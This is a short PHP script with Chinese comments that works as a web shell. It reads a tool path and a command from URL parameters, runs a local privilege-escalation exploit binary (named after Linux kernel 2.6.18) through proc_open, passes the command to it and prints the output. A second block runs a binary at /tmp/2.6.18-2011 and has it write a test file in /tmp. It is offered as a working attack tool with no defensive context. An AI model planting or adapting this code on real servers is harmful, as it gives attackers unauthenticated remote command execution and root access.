// path是提权工具的绝对路径,例如:/usr/local/htdocs/2.6.18
// cmd是你需要执行的命令，例如:whoami
if(isset($_GET['path']) && isset($_GET['cmd'])){
 $path = $_GET['path'];
 $cmd = $_GET['cmd'];
 $descriptorspec = array(
  0 => array("pipe", "r"),
  1 => array("pipe", "w"),
  2 => array("pipe", "w")
 );
 $process = proc_open($path, $descriptorspec, $pipes);
 
 if (is_resource($process)) {
  fwrite($pipes[0],$cmd);
  fclose($pipes[0]);
  echo stream_get_contents($pipes[1]);
  echo stream_get_contents($pipes[2]);
  fclose($pipes[1]);
  fclose($pipes[2]);
  $return_value = proc_close($process);
 }  
}

$sucommand = "/tmp/2.6.18-2011";
$fp = popen($sucommand ,"w");
fputs($fp,"echo 22222 > /tmp/sbsbsbsbsbsb11111");
pclose($fp);